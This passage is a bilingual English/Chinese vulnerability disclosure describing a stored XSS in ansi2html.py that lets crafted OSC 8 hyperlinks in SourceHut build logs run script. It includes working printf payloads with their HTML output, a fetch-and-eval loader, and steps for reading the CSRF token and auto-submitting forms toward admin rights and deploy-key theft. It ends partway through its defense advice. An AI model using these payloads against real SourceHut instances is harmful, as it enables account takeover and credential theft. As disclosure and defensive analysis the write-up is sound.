SourceHut account takeover via build logs (XSS in ansi2html.py)
SourceHut account takeover via build logs (XSS in ansi2html.py)
通过构建日志接管 SourceHut 账户(ansi2html.py 中的 XSS 漏洞)
Welcome to my first big impact vulnerability writeup! I like good stories, so let me describe some background first. I recently had a ‘great’ idea (I know, I know, I should stop having these) to set up a sr.ht instance that would pay people for hosting their projects. You can find it shamelessly plugged in the timeline section, in case you want to try it or flame me for it on socials. Anyway, the story. The first step was to clone some minimal subset of the sr.ht repos, and start hacking on it. 欢迎阅读我第一篇关于高影响漏洞的分析报告!我喜欢好故事,所以先介绍一下背景。最近我有个“绝妙”的主意(我知道,我知道,我不该再有这种想法了):建立一个 sr.ht 实例,为托管项目的用户提供报酬。如果你想尝试一下,或者想在社交媒体上喷我,可以在时间线部分找到它的广告。言归正传,故事开始了。第一步是克隆 sr.ht 仓库的一个最小子集,并开始对其进行修改。
No NLP# I tend to include the following statement in my vulnerability research submissions from this year. Make from it what you wish. No NLP has been used in this research. The mistakes are all mine. No NLP# 我倾向于在今年提交的漏洞研究中包含以下声明。随你怎么理解:本研究未使用任何自然语言处理(NLP)技术。所有错误均由我本人承担。
Structure# SourceHut is structured in several microservices, the main ones being meta.sr.ht and probably git.sr.ht or hub.sr.ht (the flagship instance hosts it at just sr.ht). And of course builds.sr.ht, the CI. One less known is mirror.sr.ht (slowly moving to mirror.srht.network), containing prebuilt packages for various microservices. I must say I like this approach, because it allows a very easy start on any machine matching the flagship instance distro version exactly. If your favourite project currently recommends installation via curl|sudo bash or ‘just launch Claude in this folder’ (sic!), please consider making yourself aware of the not less valid option of distributing software to end users using actual software packages instead.
架构# SourceHut 由多个微服务组成,主要包括 meta.sr.ht,以及 git.sr.ht 或 hub.sr.ht(旗舰实例直接托管在 sr.ht 下)。当然还有 CI 系统 builds.sr.ht。一个不太为人所知的是 mirror.sr.ht(正逐渐迁移至 mirror.srht.network),其中包含了各种微服务的预构建包。我必须说我很喜欢这种方法,因为它允许在任何与旗舰实例发行版版本完全匹配的机器上轻松启动。如果你们喜欢的项目目前推荐通过 curl|sudo bash 或“直接在这个文件夹里运行 Claude”(原文如此!)来安装,请考虑了解一下使用实际软件包向终端用户分发软件这一同样有效的方法。
Building Alpine packages# So if you happen to use a different distro, or even a different version of Alpine, you are on your own a bit. So there is the sr.ht-apkbuilds repo, and you can ‘fork’ it to use your signing key, your Alpine version and your mirror. There is also sr.ht-pkgbuilds for Arch, but it’s effectively unmaintained at this point. This involves using builds.sr.ht to bootstrap the packages. I tried to look at the page source of the build log, because it kept scrolling not where I wanted, which annoyed me a bit. That’s when I found this: 构建 Alpine 软件包# 因此,如果你恰好使用不同的发行版,甚至是不同版本的 Alpine,你就得靠自己了。所以有了 sr.ht-apkbuilds 仓库,你可以“fork”它来使用自己的签名密钥、Alpine 版本和镜像源。此外还有一个针对 Arch 的 sr.ht-pkgbuilds,但目前实际上已无人维护。这涉及到使用 builds.sr.ht 来引导构建软件包。我试着查看构建日志的页面源代码,因为它总是滚动不到我想要的位置,这让我有点恼火。就在那时,我发现了这个:
/* … / .ansi38-150150150 { color: #969696; } … / … / I decided to take a closer look how it’s done, and maybe fix it. Look, I like SourceHut. I can see there is quite some wasted compute and bandwidth here. I want them to get rich so that others follow suit, and there is some unnecessary waste slowing that. / … / .ansi38-150150150 { color: #969696; } … / … */ 我决定仔细研究一下它是如何实现的,并尝试修复它。听着,我喜欢 SourceHut。我能看出这里浪费了不少计算资源和带宽。我希望他们能赚大钱,这样其他人也会效仿,而这些不必要的浪费正在拖慢这一进程。
ansi2html# I took a look into the logic converting ANSI escape codes to HTML, and I filed an issue for it. There has been no activity in the repo for over a year at that point, so I decided to work on it, because I like receiving good patches myself, when I am not focused on a particular project. This quickly resulted in submitting a PR fixing this particular issue. Given my Capture The Flag background, I started looking into ansi2html a bit more, in hunt for more bugs (especially that I’m about to host it myself!). Apart from parsing escape sequences for colors, it also allows for automatic links, and OSC 8 hyperlinks. Because the code is not so well-structured yet, I was able to craft a malicious input string after reading this great XSS cheatsheet (now forever in my bookmarks): ansi2html# 我研究了将 ANSI 转义码转换为 HTML 的逻辑,并为此提交了一个 issue。当时该仓库已经一年多没有活动了,所以我决定自己动手,因为当我不专注于特定项目时,我也喜欢收到好的补丁。这很快促使我提交了一个修复该问题的 PR。鉴于我的 CTF(夺旗赛)背景,我开始更深入地研究 ansi2html,寻找更多漏洞(尤其是因为我马上要自己托管它了!)。除了解析颜色转义序列外,它还支持自动链接和 OSC 8 超链接。由于代码结构尚不完善,在阅读了这份很棒的 XSS 速查表(现在已永久保存在我的书签中)后,我成功构造了一个恶意输入字符串:
$ printf ‘\33]8;;https://example.com/“/autofocus/tabindex=“1”/onfocus=“alert`xss`\7Nothing to see here\33]8;;\7’ | ansi2html
[…]
<a href=“https://example.com/“/autofocus/tabindex=“1”/onfocus=“alert`xss`“>Nothing to see here
[…]
$ printf ‘\33]8;;javascript:alertxss\7Nothing to see here\33]8;;\7’ | ansi2html
[…]
Nothing to see here
[…]
The former is worth some explanation. No idea why, but as you can check, it parses to the same DOM tree as: Nothing to see here So if you happen to be able to make ␛]8;;https://example.com/”/…␇ appear in the job logs — which you can, either without even having an account, by sending a patch to a public mailing list with continuous integration turned on, or by controlling any remote resource that happens to be printed to the log — congratulations, you have just created a build job at https://builds.sr.ht/~someone-else/job/1234567 that executes your payload in every browser that views it. You can submit the job yourself, but this requires a paid account on the flagship instance. And there are no anonymous payments currently there.
前者值得解释一下。不知道为什么,但你可以验证一下,它解析出的 DOM 树与 <a href="https://example.com/" autofocus tabindex="1" onfocus="alertxss"> Nothing to see here </a> 相同。所以,如果你能让 ␛]8;;https://example.com/"/...␇ 出现在构建日志中——你可以做到,要么在没有账户的情况下向开启了持续集成的公共邮件列表发送补丁,要么控制任何会被打印到日志中的远程资源——恭喜你,你刚刚在 https://builds.sr.ht/~someone-else/job/1234567 创建了一个构建任务,它会在每个查看该日志的浏览器中执行你的载荷。你可以自己提交任务,但这需要旗舰实例的付费账户。而且目前那里不支持匿名支付。
Weaponizing (do not try this at home)# The actual payload can be downloaded from an attacker’s website, like eval(await (await fetch(‘https://example.com’)).text()) but here’s some speculation about what it could do. The build log page already contains the CSRF token. You can read it with document.querySelector(‘[name=_csrf_token]‘).value for example, or just use the existing form (part of the ‘Resubmit build’ button), like document.querySelector(‘[name=manifest]‘).value=something;document.forms[0].submit(). Once you get an admin to view it, you can probably grant yourself admin rights. The worse impact is that you have access to all the deploy keys, and on builds.sr.ht, there are deploy keys for sr.ht itself (probably not the case with other instances). Making this part of the payload is left as an exercise for the curious reader. I cannot stress this enough: remember to only test worms on your own infrastructure. And never on production. Even if it’s your production.
武器化(请勿在家尝试)# 实际的载荷可以从攻击者的网站下载,例如 eval(await (await fetch('https://example.com')).text()),但这里有一些关于它能做什么的推测。构建日志页面已经包含了 CSRF 令牌。你可以用 document.querySelector('[name=_csrf_token]').value 读取它,或者直接使用现有的表单(“重新提交构建”按钮的一部分),例如 document.querySelector('[name=manifest]').value=something;document.forms[0].submit()。一旦你让管理员查看它,你很可能就能给自己授予管理员权限。更严重的影响是,你可以访问所有的部署密钥,而在 builds.sr.ht 上,存在 sr.ht 本身的部署密钥(其他实例可能并非如此)。将此作为载荷的一部分留给好奇的读者作为练习。我必须强调:记住只在自己的基础设施上测试蠕虫。永远不要在生产环境测试。即使那是你自己的生产环境。
How to do defense in depth here?# By restricting Content-Security-Policy. I’m no expert here, but removing ‘unsafe-inline’ would be a good first step (not useful advice in itself, because inline scripts are currently used even on the build log page itself, for scrolling). By extra sanitization (SourceHut adde
如何进行纵深防御?# 通过限制内容安全策略(CSP)。我不是这方面的专家,但移除 unsafe-inline 将是很好的第一步(这本身不是什么有用的建议,因为目前构建日志页面本身甚至还在使用内联脚本来实现滚动)。通过额外的清理(SourceHut 已添加……)